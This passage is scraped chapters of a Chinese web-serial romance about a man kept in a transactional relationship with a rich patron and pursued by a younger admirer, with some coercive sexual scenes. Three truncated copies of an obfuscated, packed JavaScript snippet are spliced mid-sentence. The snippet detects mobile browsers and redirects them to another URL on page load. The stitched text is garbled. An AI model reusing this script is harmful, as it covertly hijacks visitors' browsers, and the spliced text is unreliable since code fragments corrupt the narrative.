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“这事以后再说。”曾闰成犹豫了一下,还是没有告诉妹妹,傅廷恩交换到海德堡来读书的事情。 李景麟上次的警告还言犹在耳,这些司机佣人也都是他的人,他已经觉得很亏欠傅廷恩了,不想再给他带来任何麻烦。 晚上躺在床上,原本因为工作有所好转的睡眠,又重陷困境,一闭眼就是盘腿坐在河边的青年身影,他昳丽的眉眼、诚恳的话语总是轮番出现在眼前或者耳边。 曾闰成的内心其实是孤寂的,仓促的来到异国他乡,虽然英语的流畅足够应付工作和基础的社交,但他不会说德语,就不太可能真正的融入以德国人为主的圈子。 他又是比较慢热的性格,背负着与李景麟的关系所带来的压力,注定他不可能交到什么真心的朋友,所有的社交都流于表面。 傅廷恩对他的心意,三年前他是清楚的,少年人的爱恋往往来得热烈又短暂。 他没有想到经过了三年,尤其在得知了他与李景麟的交易之后,他还会对他说出想要守护他的话语,而且还为了他交换到海德堡来读书…… 心底怎么可能没有触动呢?只是不知道,是不是因为,得不到的永远在骚动? 28. 第 28 章 同样的问题,江永安也在问傅廷恩。傅廷恩转学的第一星期,江永安就从伦敦飞来看他。 整个海德堡就是一座大学城,傅廷恩领着他闲逛了一圈,走过哲学家小径,吃过海德堡食堂,又回到傅廷恩的单人宿舍。 江永安环顾一圈,“嗯,这住宿条件倒是比我们剑桥要好,什么一年一换制,我现在轮住到破楼,花钱也不能换,除非申请外宿。” 他叹了口气,“现在你也不在,我还外宿个屁!反正一年只要读半年,暑假你回金城吗?” “不回,懒得听我妈念叨。”傅太对于傅廷恩交换到海德堡一直持反对态度,三不五时打电话来,想说服他换回去。 “今年的暑假我想去摩根实习,这两个月加紧做测试看能不能拿到offer。” “想进大厂实习你又交换到这里来?”江永安简直弄不清楚他的脑回路,“而且你有些学分需要重修你知不知道?专业的课程设置是肯定有差别的!” 傅廷恩点点头,“我当然知道,都是小case,我能搞定!”江永安点了根烟递给他,被他推开了,“我现在不爱抽这个。” “你他妈的,你现在只爱抽******是吧?”他说了一句下流话,惹来傅廷恩一顿拳打脚踢。 “轻点,我跟你说正经的,你知不知道你转学这事引起了多大的轰动?”江永安一边吞云吐雾,一边跟他汇报八卦,“我在剑桥都听见好几次,女生凑一块讨论你为啥走人,有几个哥们WhatsApp上来问我,说你不回消息。上次那啥,比安卡还堵到我宿舍来了。” 傅廷恩和江永安算是伦敦大学城名人,尤其在gay圈里头,“你为了曾老师跑德国来,是不是正应了Eason的那首歌啊,得不到的永远在骚动,其实吧,到手了也就那么回事。” 傅廷恩把他烟掐了,“按你的定义来说,确实是没得到。但这事跟得没得到没关系。” “什么叫按我的定义?你跟他上|床了?” 傅廷恩白了他一眼,“所以,每个跟你上|床的都得到你了?那我怕你身胚小了不够分!” “行行行了,你别跟我绕,头都让你绕晕,我就问你一句,”江永安盯着傅廷恩的眼睛,“知道那事,就曾老师和李叔那事,你什么心情?主要什么心情?嫉妒?愤怒?就没半点膈应?” 傅廷恩很认真的想了一下,“你说的这些都有,但主要是心疼……” “操!”江永安冲他竖了大拇指,“哥们!顶级!哥谁都不服就服你……” 傅廷恩受不了他一副调侃的口吻,“你是不知道曾老师,从小山村走出来有多么不容易……”他初略的讲了一下曾闰成受李景麟资助的过往。 “我不是矫情,我真心疼他,这事也让我明白了,二世祖在真正的资本家面前有多么不堪一击,按我现在的实力,确实是抗衡不了姓李的。所以老子要改,之前那些人不管谁联系你都别扯我的事,我没功夫搭理!你说我有没有膈应,我这膈应是对我自己,如果我足够强大,闰成也不用答应这个交易!” 傅廷恩捶了一下桌子,声音不大但很坚定,“男人之间永远实力说话!姓李的也就占了大我十六岁的便宜而已!总有一天,我要让闰成没有后顾之忧的自由选择,他想去哪去哪,想干嘛干嘛,想跟谁在一起就跟谁在一起。” 江永安收起了一副看笑话的嘴脸,看着他哥们坚定得像要入党的眼神和一身昂扬的斗志,愣了半天,才丢一句,“靠,哥们,你真不愧是基督教会学院出来的,《圣经》的教义你是学到骨子里了啊……” ————————————————————————— 曾闰成和傅廷恩在校园里遇见的次数越来越多了,大学城这么大,他却总是神出鬼没的出现在他身边。 有时候是中午,在食堂用餐的时候,突然出现在他空着的对桌,也不说话,就瞅着他笑笑,安静的吃完一顿饭人就不见了。 有时候是他在城外游荡的时候,身后不知道什么时候缀上了一个小尾巴,隔着一两丈的距离,沉默的同走一段路。 如果天气很好,他戴着墨镜在桥下晒得昏昏欲睡,醒来有时候能瞥见不远处熟悉的侧影。 偶尔交流一两句,也是诸如,“三号窗的蒸鱼不错,你明天可以尝尝。”“地上湿的,你还躺着,小心感冒。”“我们统计学的老师还可以,他特别喜欢中国菜,今天跟我聊了很久中国美食。” 曾闰成一开始不太想搭腔,但是慢慢就习惯了他的存在。哪怕不说话,坐在对面,饭菜也会变得香一点。隔着一两丈的距离,在日复一日的追随里,变成了并肩而行。 他们聊得最多其实还是专业上的事情,毕竟都是学数学的,数学应用到生活中能解决很多实际的问题。 曾闰成会聊他在实验室对无人驾驶这个项目一些数据的计算,除了保密条款不能说的之外,都会跟傅廷恩分享,傅廷恩能听懂,并且同样向他反馈自己学习中一些不明白的问题。 你说的话题对方能听懂能接住还能给反馈,这种交流上的快感有时候真的胜过很多亲亲我我的肉麻举动。 两人走在海德堡的大街小巷,因为登对的外形,一路言笑的举动,偶尔引来一些好奇的尾随者,结果走近了只听到一堆专业术语,又懵逼的走开。 曾闰成是肉眼可见的快乐起来,尤其整个四月李景麟都没有过来,而五月底是他的生日,至少要到这个日期才会再见面。 他整个人都松快不少,唯一烦心的事情就是小霞最近身体不太好,频繁感冒发热,“小霞说你又不回她消息。”之前,曾闰成说过一次之后,傅廷恩隔三岔五会回复。 “我是担心她产生一些……”傅廷恩有点纠结,要不要跟曾闰成说小霞在WhatsApp上跟他表白的事,他不想这好不容易缓和下来的关系,又因为一些其他的人其他的事变得紧张起来。 其实傅廷恩不说,曾闰成也懂,毕竟小霞只是个十七岁的女孩,藏不住什么话,心情几乎是写在脸上。 “她最近感冒比较多,老是发烧,你方便的话关心一下。她不知道你在海德堡,最多也就是言语上的一些表达。”言下之意,不要明确去拒绝伤害到她,但是也不能真的去接受,只能言语上给予一些关心。 “反正,玩暧昧这事你应该很在行。”曾闰成鬼使神差的补了一句。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422358|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅廷恩愣了一下,加快脚步挡在他面前,倒退着走,“说清楚,我什么时候玩暧昧了?”他微微抿着嘴角,深邃的星眸里闪烁着一点笑意。 曾闰成一脸“你不必狡辩”的表情,“小霞说有很多女生在ins上晒跟你的合照,男生也很多。” “呃……”傅廷恩犹豫了一下,回转身来跟曾闰成并排走着,沉默的走下了河堤。 曾闰成也没有再说话,他已经发现自己其实不该说这句话,这句话本身就说得很暧昧。 两人隔着一尺远,坐在河堤边,曾闰成摸出水杯喝一口,他现在不止清酒,从法兰克福房子里的酒架上打开了一瓶龙舌兰,搭配着可乐,每天装一杯子。何以解忧?唯有美酒。 傅廷恩斟酌了一下,“闰成,其实我念大学以后交过不少女朋友,还有很多……男朋友。”他突然很想跟曾闰成剖析一下自己情感的心路历程。 “你跟我说这些干吗?”曾闰成不知道怎么形容自己听到这句话的心情,只能嘴硬的加一句,“那是你的自由。” “我想跟你说,你听一听好不好?”他伸手拉了拉他的衣袖。 曾闰成拒绝不了这个可怜巴巴的小表情,只能沉默着看向波光粼粼的水面。 一条小鱼欢快的跃出河面,他突然起了点顽心,脱了鞋袜,将赤裸的双足浸入河水中,微有凉意,沁人心脾。 “闰成,”傅廷恩现在很少叫曾老师了,总是闰成闰成的,“我才进牛津的时候,确实不是心无波澜,总想着证明我不是非某人不可的。” 他小心的措辞,“我从没有跟他们玩过暧昧,如果我看得顺眼就会答应交往一下试试看,我没有同时跟多人保持关系,但确实每段关系都不长久。” 傅廷恩看着水波里荡漾的双脚,一如自己七上八下的一颗心,“我不知道是不是自己的问题,还是某人对我的影响。或许是缘分的安排,我没有刻意抗拒,但确实也没有再遇到一个让我重新……” 他觑一眼曾闰成的面色,后者一脸平静无波,却不知道自己整个耳廓都是红的,傅廷恩的视线转回水面,“没有另一个能让我燃烧的人。” 河风送来绿草的清香,草丛里不时虫鸣蝉唱,好像在宣告夏季的即将来临。 傅廷恩也脱了鞋袜,将双脚浸入河水中,露出一个惬意舒服的表情。 这放松的氛围使得曾闰成并没有因为听到的话而感到紧张,他只是略略低头看着游动的水草,“或许是因为你遇到的人还太少,廷恩,你才二十一岁。人生的路还很长。” “或许吧。”傅廷恩的回答令曾闰成松了口气,两人浸润在柔和的余晖中,看暮色四起,四只脚掌划过碧绿的水面,圈起层层涟漪。 傅廷恩突然伸手,从曾闰成口袋里掏出那个小水杯,曾闰成想抢回来,手却没有那么长。 傅廷恩拧开盖子,尝了一口,“这是可乐兑什么?龙舌兰?偶尔喝一两次是OK的,持续性的加量加度数,就会养成酗酒的坏习惯。曾老师,你让我跟小霞保持良好有度的沟通没问题,但你也要答应我,”他把水杯里剩余的酒倾倒在草地上,“把酒戒了。下午如果有空,我们一起打网球吧。” 29. 第 29 章 对于运动,曾闰成没有特别的爱好,柏林的庄园和法兰克福的大平层都装修了专业的健身房,李景麟哪怕只呆两三天,每天也会花一两个小时在里面。 反而作为常住者,曾闰成很少踏足,他如今紧实的肌肉线条完全来自于隔三岔五的晨跑五公里。 当他和傅廷恩换了网球服,挥舞着网球拍,球来球往的时候,在恒雅的网球场挥汗如雨的画面又重现在眼前。 运动本来就可以分泌内啡肽,更何况在异国他乡,和从前的人重新捡起一项共同的爱好,更加让人欢喜。 一开始他总是接不住球,但傅廷恩总会照着他所在的角度轻柔挥拍,渐渐就找回了一点感觉。 球场上还有另一组对打的,金发碧眼的帅哥过来问他们要不要打双人局,两人对视一眼,“乐意奉陪”。 两人对打的时候实力有悬殊,打双人局却是配合默契,各自在负责的区域坚守,偶尔也能穿插到对方的领域救急,明显接不住的球,曾闰成会退让,傅廷恩会进攻,一场对战下来,那种默契的感觉真的让人觉得分外舒服。 对打的两个帅哥是哲学系的,打得酣畅淋漓,双方交换了名字和联系方式,约定下次双人局再一起切磋。 “要不要一起去喝一杯?”大学城有条酒吧街,帅哥们主动邀请。 曾闰成看看时间,“下次吧。” “OK。”两人礼貌的告别,背着球包走了。 曾闰成活动了一下肩膀,“估计明天起来肌肉酸痛是免不了。”他一瘸一拐的走,好久没有这样剧烈运动过了。 “没伤到吧?”傅廷恩的目光在他全身扫视了一圈,“别动。”蹲下身去,帮他把散开的鞋带系好。 曾闰成看着他漆黑的发顶,想起三年前在恒雅的网球场,他也是这样蹲下去帮他系鞋带,那其实是他第一次感觉到傅廷恩的异样,也感觉到自己内心那一丝不同寻常的悸动…… 他忍不住伸出手,却在触到他头顶的那一刻收了回去。不自然的别过视线,“谢谢。” 傅廷恩倒是一副很自然的表情,“晚上回去洗了澡,往四肢揉点活络油,揉不到的地方让小霞帮你。揉开了,明天的酸痛就会大大减少。” 曾闰霞这两天情绪特别高涨,因为她的廷恩哥虽然没有明确答应跟她交往,但是对她嘘寒问暖关怀备至,人一高兴感冒都不药而愈。 “小霞的事谢谢你,她这两天没上学,一天到晚抓着手机,估计没少给你发信息。你别太理会她,偶尔回复一两句就行了。” “嗯,我知道,”傅廷恩背着球包送曾闰成往外走,“不过她至少问了我几十遍什么时候去看她。” “啧……”曾闰成皱起眉头,他其实也在饭桌上听曾闰霞念叨了无数遍,“你就说你功课忙……” “闰成,这个月底是你生日,要不我们届时带小霞一起出去玩一天?” “你还记得?” “嗯。”这辈子也不会忘记那一天,那顿火锅,还有那个偷来的吻。 “那,到时候再看吧。”曾闰成不能确定李景麟哪一天来,会待多久。 ———————————————————————— 果然,在他生日的前两天,接到了苏秘书的电话。 隔了将近两个月没见,李景麟敏锐的发现,曾闰成的身上有一些变化。 眉目之间好像开朗了许多,脸上的表情鲜活生动。“看样子,这个博士读得很开心?” “嗯,一边修学位一边还有工资拿,当然开心。”曾闰成裹着睡袍,很自然的从酒柜上倒了两杯威士忌。 虽然他答应了戒酒,随身的水杯是取消了,但是想想接下来要发生的事,还是喝点吧。 李景麟的目光从他裸露在外的小腿上扫过,一双凤目愈发幽深。“一个月几千欧就能令你这么开心……”他将手边的一个文件袋扔到茶几上,“打开看看,看能不能令你更开心一点?” 曾闰成将两杯酒端过去,递给他一杯,又将自己那杯抿一口,才拿起文件袋打开,“这是……这个房子的产权证?”持有人那一栏赫然写着“RUN CHENG ZENG”。 “唔。”李景麟点点头,“生日礼物。”德国的房产,只要是全款,没有永居也可以购买或者持有。 这套房子两百多个平方,在法兰克福市中心,价格自然不菲,现在过户到了曾闰成名下。 这对原本一穷二白的曾闰成来说,当然不是毫无冲击力的,但他并没有产生什么兴奋的情绪,他想到了姚子琪那套“分手费”,李总裁显然一高兴就喜欢送房子送钱。 三年前李景麟就说给他在瑞士银行开了一个账户,每年会有款项定期存入。“跟了我的人,是不可能会缺钱这个东西的。”李总裁的霸道语录还历历在目。 但是曾闰成从来没有登录账户去查看过账上有多少钱,因为他用不上。 所以得了一套房子的生日礼物,也没有令他喜上眉梢,但是面子上的客气还是要有的,他举杯跟李景麟碰了碰,“谢谢李总,呃,景麟。” 李景麟不悦的皱眉,“就这?”他拍了拍自己的大腿。 曾闰成顺从的走过去,在他腿上坐下,李景麟左手揽着他的腰,右手顺着睡袍的下摆探了进去。 曾闰成状若无觉,全身的肌肉却不由自主的绷紧了,他仰脖灌下一大口威士忌,李景麟拉开睡袍的腰间系带,揽腰的右手突然带着他的身躯往后一倾,那酒杯里剩下的深棕色酒液便都淋漓的倾洒在了白皙赤|裸的胸|膛上。 曾闰成吃了一惊,手里的酒杯掉在了羊毛地毯上,李景麟冲他舔了舔唇,“这么好喝?让我也尝尝……” 原本以为只带了一个保镖的李总裁待不了两天,结果第二天起来,李景麟让曾闰成收拾自己的随身物品,“陪我度个假,去比亚里茨冲浪,有个朋友在那边有私人海滩。” “呃,小霞最近身体……”曾闰成皱着眉头,想要推脱。 饭桌上乖巧喝汤的曾闰霞立马接口,“哥你们去吧,我没关系,我感冒早好了。而且……”她有点羞涩的低下头,“我男朋友答应来看我……” 这下连李景麟都惊讶了,“小霞什么时候找了男朋友?” “就这两天的事,差不多吧就,”人家虽然没答应但是也没拒绝呀,“你们开心玩吧,我就不去当电灯泡了。”小霞的身体状况也不允许参与太剧烈的运动。 曾闰成当然知道小霞说的男朋友是指谁,当下轻咳一声,“那我更不能让你一个人待家里……” “是学校同学?还是本地华裔?”李景麟探究的看向曾闰霞。“你不说是谁,你哥肯定不能放心你。” “哎呀,你们都见过的嘛……”曾闰霞脸上飞起两朵红云。 “姓傅的小子还是江家那小子?”她一说见过,李景麟立马猜了出来,曾闰霞追着叫廷恩哥的是傅家小子,但是那天跟她跳舞的是江家那个。 “当然是廷恩哥,”曾闰霞嘟囔着,“哎呀你们就别管了,他就来看看我,见个面就回去了。” “这倒可以,但是不准在外过夜,知道吗?”李景麟比曾闰成还更像家属。 虽然是他不太喜欢的两个后辈,但只要不是跟曾闰成单独见面,他倒也不在意让怀春少女开心一些。 “李叔叔你太坏了。”少女推开碗碟,红着脸嘴角却挂着笑意跑回房间去了。 ———————————————————————— 比亚里茨位于法国的西南部,靠近西班牙,背靠比利牛斯山,面朝大西洋。这里是著名的度假胜地,冲浪天堂。 “就是考虑到你要照顾小霞,不能去太远的地方,才来这里。今年你好好练习,明年我们带小霞一起去夏威夷。” 他在夏威夷有个私人海岛,每年会带家里人去盘桓一个月左右的时间。 李景麟看曾闰成兴致缺缺的样子,以为他还在担心曾闰霞,“她长大了,是该交男朋友的年纪了,谈一谈无所谓的。” “嗯。”曾闰成只能打起精神。 五月底的德国还稍微有点冷,但这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422359|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法国小城已经开始进入夏日时光,海水稍稍有一点凉,但在可以接受的程度。 李景麟朋友的私人海滩占据了一段最美的海岸线,凹进去一个半圆的弧度,使得这一段海岸相对更平静,没有特别大的风浪,很适合新手冲浪练习。 海滩上去不到百米就是依山而建的别墅群,右侧的山坳里修建了一个超大的高尔夫球场。 李景麟的朋友托马斯带着两个美女迎了出来,两人用法语热切的聊天,互拍着肩膀,一副哥俩好的样子。 不知道李景麟是怎么介绍的,托马斯及两个美女都对曾闰成非常热情,第二天沙滩冲浪的时候,不止教练,其中一个美女也一直陪在曾闰成身边。 美女身材火辣,但好在冲浪都穿了全套的皮肤衣,也没有太尴尬。 曾闰成游泳还勉强OK,冲浪是完全没有接触过,李景麟在他耳边道,“相信我,当你可以自由抓浪的时候,一定会爱上这项运动的。” 皮肤衣包裹着他矫健有力的躯体,他抱着滑浪板冲向海边,随手把长板往海里一抛,身体匍匐滑行,然后在起浪的一瞬间站立到了滑板之上,冲锋破浪疾驰而去。确实是帅! 曾闰成有那么一点艳羡,对这项运动燃起了一点兴趣,教练从陆地动作开始教他练习,趴板的位置、双臂插水的动作、上板的姿势一一讲解,美女不时在一旁补充。 等到终于可以实操了,教练拿出脚绳,曾闰成指了指完全没有束缚的李景麟,“为什么他不用?” “呃,你也可以不用绑脚绳,如果你有查尔斯的水平。”教练讲的英语,“而且是在这种风浪比较平静的海湾。如果挑战较大的风浪,即使高手也建议绑脚绳。” “好吧。”曾闰成只能点头,教练示意曾闰成用自己习惯的姿势前后脚分开站到板上,然后把脚绳套在了他的右脚。 “对于新手来说,上板并不是最难的,最难的是安全下板。因为对于新手来说,站不稳是必然的情况。” 教练示意一旁的美女上板示范,“如何安全的下板是关键,一定要学会向左向右或者向后下板,把板蹬开,绝不可以从板的前端跳下来。” 教练把冲浪板翻过来,示意他看尾部的三个锯齿状尾翼,“如果从前端跳下,冲浪板的惯性有很大可能会让这三个小东西从你的身体上划过……” 曾闰成学习任何新知识都是很认真的,他耐心听教练讲解,然后配合动作的练习,等李景麟冲了一圈回来,他已经可以稳稳的屈身站立在板上,坚持十秒钟左右的时间。 李景麟冲他打了个口哨,竖起了大拇指。教练也夸他核心力量不错,算是天赋不错的练习者。 在海水里泡了半天,人特别容易饿,晚餐托马斯准备了烧烤派对。 就在海边的沙滩上,燃起篝火,专属的乐队演奏,悠悠的海风适配着美妙的音乐,食物的香气飘散在空中,确实是一个令人愉快的夜晚。 又有几个穿着大裤衩和比基尼的帅哥美女加入进来,但都是说的法语,弹舌音响成一片。 李景麟身边围着两个身材火辣的美女和一个身段修长五官符合中国人审美的金发帅哥,跟他相谈甚欢。 美女托着一盘刚烤好的食物,金发帅哥将一腿蟹肉递到李景麟嘴边,李景麟看一眼曾闰成,曾闰成将眼睛转开去,看向繁星闪烁的夜空。 片刻之后,耳畔响起李景麟的声音,“是不是觉得应该学点法语?我让苏秘书给你找个老师。” “不用,有时候听不懂也挺好的。” “哈哈哈哈哈……”李景麟爽朗的笑起来,“吃醋了?”他将一只烤好的波龙递到他嘴边,示意他张嘴,“我对金发不感兴趣,我只喜欢黑头发的。”他在他耳边低声说道。 “没有。”其实真没有,他只觉得这种生活与他格格不入。曾闰成将递到嘴边的食物吃了,又举杯将手里的香槟饮尽。 李景麟凑上来,轻咬了一口他油亮嫣红的嘴唇,“嘴硬。”在李总裁的认知里,是没有人会不爱他或者不爱他带来的这种生活的。 30. 第 30 章 实在是疲累了一天,等晚上躺在床上的时候,李景麟仍然兴致勃勃。 曾闰成两只胳膊经过无数次插水划水的练习之后,累得都抬不起来,连推开他的力气都没有。 被他按着翻来覆去,到最后曾闰成实在忍不住出声:“您就行行好吧。” 李景麟半点停歇的意思都没有,“其实我想去海边……”他眼里闪烁着兴奋的微光,“干|你!” 曾闰成手没力气,脚还是可以踹向他,结果被他一手抓住脚踝,拉开一个令人羞耻的弧度……“闰成,你穿着冲浪服都是那么勾人,尤其趴在冲浪板上的时候……”他吻住他的嘴唇,吞下他的抗议和呜咽。 曾闰成第二天完全下不了水,肌肉酸痛,四肢无力。只能裹着浴袍坐在海滩边的躺椅上,两个美女过来给他按摩,手法一施展就知道是专业人士。 她们双手蘸着按摩油细细的给他按摩全身,时不时用英语跟他交谈。 李景麟抱着冲浪板从他面前经过,打了个唿哨,露出一抹得意的笑容,龇着的白牙在阳光下闪闪发光,跟某种凶猛的动物似的。曾闰成气得倒仰。 李景麟今天也戴了脚绳,今天的浪确实也比昨天要大,最大一个目测应该有三四米高,他沿着浪壁斜走,在浪尖加速,下到底部,一个完美的浪里回转,身影隐没在浪潮里,又稳稳的破水而出,手掌划破水浪,带起一道淋漓的波光。 按摩的两个美女都忍不住拍着四只油巴掌,远远的冲他欢叫。 “查尔斯真酷,可惜他不喜欢女人。” “碧莉陪过他一晚,她说他很厉害,超厉害那种。哈哈哈哈哈。” “那是他喝醉了以后。而且就那么一次。” 她们知道曾闰成是李景麟带来的男伴,但似乎认为他不可能会在意这个。 “查尔斯这样的男人谁不喜欢呢,可以一直陪伴在他身边,一定有幸运女神的眷顾。” “是的,先生您真是幸运。托比说查尔斯很喜欢你,昨晚还拒绝了他为他挑选的帅哥,他怕你会不高兴。” 曾闰成想起昨晚那个喂李景麟吃蟹腿的金发帅哥,明明带了伴,却还另外给他安排,这一个个都是妥妥的玩咖了。他愈发的感到不自在。 “您的皮肤可真白,我给您涂点棕榈油吧,晒黑一些才更好看。哦,好像中国人是喜欢白的。” 两个美女一边给他按摩,一边叽叽喳喳,是法国年轻美女自来熟爱八卦的个性。 曾闰成这两年经常有Tina给他按摩,被两个美女捏来捏去倒也没有觉得尴尬,毕竟她们虽然说话随意,按摩倒是很有分寸,避开敏感区域,力道合适的围着他的四肢和背部打转。 “之前查尔斯过来,还带了一个据说是你们中国的明星,他们还邀请斯蒂凡一起,斯蒂凡也是超帅的……” “一起?!”曾闰成简直有点不敢相信,这个一起是不是他理解的那个意思。 美女给予了肯定的答复,点点头,还冲曾闰成抛了个媚眼,“我今晚可以跟你们一起吗?” 曾闰成翻了个身背对着她们,真的是不想脏了耳朵。李景麟简直时刻在刷新他的认知。 她们说的明星估计就是他在李景麟办公室撞到过的那一位,好像叫宋奕,作为公众人物,他跟李景麟的绯闻轶事是最多的,历史好像相当悠久了。 曾闰成当然不是要去管李景麟的风流债,他只是有些担心如果李景麟对他提出这种过分要求,他该怎么应对。 他很了解李景麟在床上的那种需索无度,他精力委实过于充沛。虽然他会展现对曾闰成的占有欲,但也经常抱怨曾闰成放不开。 他这种放得开,把曾闰成吓到了。原本就没有靠近的心,算是越走越远了。 估计是这一天的大浪彻底释放了李景麟的精力,晚上曾闰成睡了个安稳觉,第二天总算可以再下海。 他在教练的帮助下反复上板下板,完全熟练以后,教练开了一艘造浪艇,又给他换了一块短一些的冲浪板,旁边的美女给他解释,让他体验一下尾波冲浪,对新手更友好。 造浪艇满仓压水,人工制造的波浪很稳定,再拉牵引绳,曾闰成拉着绳子很快就可以稳稳的站立,并坚持比较长的时间。 两三次的休息间隙后,教练鼓励他慢慢放开手,从放开一只手,到两只,到完全脱离牵引绳,只花了一个下午的时间。 满仓压水的情况下,浪推板走,身体不需要做任何的加速,稳稳的站立在冲浪板,随波涛起伏的时候,确实有强烈的快感来袭。 难怪冲浪被称为最具快感的运动之一,多巴胺的分泌确实数倍于普通运动。 当然这个最具快感的运动,肯定不是指的他这种,由教练和美女全程陪伴,美女还总在稍有颠簸的时候,在旁侧扶他一把。 李景麟时不时驾板路过,冲他打个唿哨。他自由的在波涛里起伏,而他只能被围簇着傻站在板上,曾闰成叹了口气,指指李景麟,“我可以像他那样吗?” “冲浪的练习是以年为单位的。”教练安慰他。 “那我该怎么做呢?” “你可以先练习自己加速追浪。” 教练很理解新手想要控浪的心情。 “我可以把水仓减压,但这样你就需要不断的自己发力加速,不然你就会掉下板,万一呛到水……” 教练不太敢让他放开练习。带这样身骄肉贵的私教其实很累人。 “没关系,我试试。”曾闰成十分坚持要自己练习。 教练很谨慎缓慢的减少水仓压水的重量,人工造出的浪逐渐趋于平缓,曾闰成启动核心力量,按要求蹬板,从满仓到90%、80%、70%逐渐降低。 他不断的重复练习,累了就爬到艇上去休息,美女还在一旁拿银叉叉了水果送到他嘴里。 原本适配得不错,可惜水仓压水剩一半的时候,可能核心的力量已经耗尽,曾闰成从板上掉了下来,而且非常不巧的擦过一层珊瑚礁石,尽管穿了皮肤衣,整条右腿还是多处被剐破了皮。 李景麟破浪而来,把他捞上板。“Sorry,sorry……”教练和陪练美女都追着道歉。 “不怪他们,是我自己要求降水压练习的。”曾闰成松了口气,这是最好的结果,用一点皮外伤,宣告了这次度假的结束。 尽管他很喜欢这项运动,但他担心被要求“一起”,又实在是想回海德堡去了。 李景麟拍他屁股一下,“走还没学好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422360|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就想跑。” 他没有起疑,也没有对曾闰成的受伤表现出特别的关心或者紧张,在他看来,运动是不可能不受伤的,尤其是玩这种极限运动,这种伤实在小儿科。 “要不我先回吧,你再玩两天。”曾闰成其实觉得他可以自己回法兰克福,阳光、沙滩、美女、帅哥,李景麟显然还没有玩尽兴。 只要不在他面前,一起不一起的,他也不在乎。 “想什么呢!明年我们到夏威夷住上一个月,有的是时间慢慢学。”李景麟将他送回法市,急匆匆飞走了。 ————————————————————————— 曾闰成其实有些怕见到傅廷恩,他生日那天,傅廷恩给他发了一句消息,四个字的生日快乐。 他没有回复,当时他在做什么呢?被一群帅哥美女簇拥着切蛋糕、喝香槟、吃烧烤,然后被反复的摊在床上煎饼。 他有种如果自己回复了,这些不堪就会顺着手机听筒传递给另一个人知道。尽管他也许猜也能猜到。 傅廷恩倒是没有什么异样的表情,照旧在午后跟着他晃悠到内卡河边。 曾闰成坐下去的时候右腿破皮的地方有些被折到,他轻嘶了口气,然后又立马拉起裤腿,“冲浪的时候被礁石刮到了。”他生怕傅廷恩产生另一重误会,只能选择展示一下伤口。 “啊,摔这么严重?”其实只是涂了各自颜色的药水,看上去有点瘆人而已。 “你是不是太夸张了?其实不疼。” 但是傅廷恩的表情很认真,一双眼睛在他的伤口上梭巡,浓黑的眉皱在一起。 看着他担忧的表情,曾闰成觉得他实在应该第一天就被礁石刮到才对。 “下次我教你吧。”傅廷恩看着他的眼睛,两人的眼神交汇,又都转开了目光。 “你喜欢冲浪吗?” “喜欢,但是看上去不容易。”至少自由冲浪不容易。 “我哥在澳大利亚,那里有黄金海岸,是冲浪者的天堂。”傅廷恩掏出手机给他看傅廷昀冲浪的视频,“这是我哥,他比你大一岁,叫傅廷昀。” 视频里皮肤黝黑的青年在浪端跳跃、旋转,展示超高的冲浪技巧。 “他很厉害。”看上去不比李景麟差。 “冲浪在澳洲算是国民|运动,因为海岸线实在是很长。”傅廷恩本来想给他看自己冲浪的视频,想了想又收回了手机,一定有机会当面向他展示。 曾闰成岔开话题,“你去看了小霞吗?” “没有,我找了个借口。”曾闰成不在,他肯定不能单独跟曾闰霞见面。 “难怪她不太高兴的样子。” “这个周末我去找你们怎么样?”傅廷恩思索了一下,“要不我们去鲁斯特的欧洲公园玩两天?小霞一定会喜欢。” 曾闰成摇摇头,“她的身体不太适合玩刺激的项目,去那么远没必要。法兰克福走走怎么样?”虽然住了有几个月了,海德堡算是比较熟悉了,法兰克福倒还真没有好好游玩过。 傅廷恩当然没有异议,小霞虽然有点遗憾期待的约会变成三人行,也总好过没有。 周末到来,三个人很愉快的约在美因河上的铁桥见面。 31. 第 31 章 铁桥没有名字,就叫铁桥,但它是欧洲第一座吊桥,带一点哥特式风格。它横跨美因河,连接了法兰克福的南岸和北岸,是地标建筑之一。 曾闰霞远远就看见傅廷恩的身影,他穿着简单的牛仔裤黑T恤,肩上还背了一个背包,一副远道而来的样子。 跟在科隆大教堂重逢时的哥特风、庄园拜访时的正装风全然不同,傅廷恩今天走的是休闲学生风,跟街头随处可见的大学生装扮相同,一回头,那张脸却是颠倒众生,无需比较的鹤立鸡群。 他挥手打招呼,又赞美小霞今天很漂亮,十六七岁的女孩子来见心上人,怎么可能不悉心装扮,她一贯爱穿裙子,也开始学着学校里的女同学化妆,粉底将肌肤修饰得平整白皙,淡淡的胭脂显出好气色。 